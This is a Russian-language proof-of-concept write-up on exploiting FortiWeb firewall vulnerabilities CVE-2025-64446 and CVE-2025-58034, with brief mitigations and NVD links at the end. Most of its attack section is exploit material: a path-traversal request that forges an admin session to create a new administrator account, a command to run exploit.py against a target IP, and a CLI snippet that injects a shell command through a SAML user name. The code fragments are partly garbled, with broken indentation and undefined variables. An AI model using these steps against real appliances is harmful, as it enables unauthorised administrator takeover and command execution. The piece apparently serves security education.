Имитация эксплуатации FortiWeb (CVE-2025-64446 & CVE-2025-58034)

Примечание:

• Данный документ предназначен только для целей обучения и исследований в области безопасности.
• Не используйте его для атаки на системы без соответствующего разрешения.

1. Обзор

FortiWeb — это устройство Web Application Firewall (WAF), используемое для защиты веб-приложений.

В 2025 году были обнаружены две серьёзные уязвимости:

• CVE-2025-64446 — Обход аутентификации через Path Traversal
• CVE-2025-58034 — Внедрение OS-команд

2. Обзор CVE-2025-64446

Пример:

/api/v2.0/cmdb/system/../../../../../../cgi-bin/fwbcgi

3. Обзор CVE-2025-58034

4. Процесс проведения эксперимента (POC)

4.1. Подготовка среды:

python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt

Это помогает избежать конфликтов версий библиотек, обеспечивает стабильность рабочей среды и ограничивает влияние на систему

4.2 Эксплуатация

Payload

 cgiinfo_json = {
        "username": "admin",
        "profname": "prof_admin",
        "vdom": "root",
        "loginname": "admin"
    }
cgiinfo_b64 = base64.b64encode(json.dumps(cgiinfo_json).encode()).decode()
conn.request("POST", "/api/v2.0/cmdb/system/admin%3f/../../../../../cgi-bin/fwbcgi", body=body_data, headers=headers)
        resp = conn.getresponse()
result = {
            'target': f"{host}:{port}",
            'status': resp.status,
            'user': username,
            'password': password,
            'success': resp.status == 200
        }

Запуск инструмента с помощью Python3:

python3 exploit.py <IP_target>

• <IP_target>: IP-адрес, здесь это имя хоста устройства FortiWeb.

Получены username и password -> выполняем вход

Эксплуатация прошла успешно, создана новая учётная запись с правами администратора.

4.3 Эксплуатация CVE-2025-58034 после входа в учётную запись

После успешного входа с помощью созданной учётной записи администратора атакующий может эксплуатировать уязвимость внедрения команд, требующую аутентификации, с помощью специально сформированных запросов или напрямую через интерфейс командной строки FortiWeb CLI:

config user saml-user

edit "`id`" ## nhập lệnh tại đây

set entityID http://foo

set service-path /foo

set enforce-signing disable

set slo-bind post

set slo-path /foo

set sso-bind post

set sso-path /foo

end

FortiWeb выйдет из строки конфигурации и выполнит команду id в процессе настройки saml-user.

5. Некоторые способы снижения риска уязвимостей

• Обновите FortiWeb до исправленной версии.
• Ограничьте доступ к интерфейсу администрирования.
• Не выставляйте интерфейс управления в Интернет.
• Проверяйте учётные записи администратора на предмет аномалий.

6. Дополнительные справочные материалы

• CVE-2025-64446 — https://nvd.nist.gov/vuln/detail/CVE-2025-64446
• CVE-2025-58034 — https://nvd.nist.gov/vuln/detail/CVE-2025-58034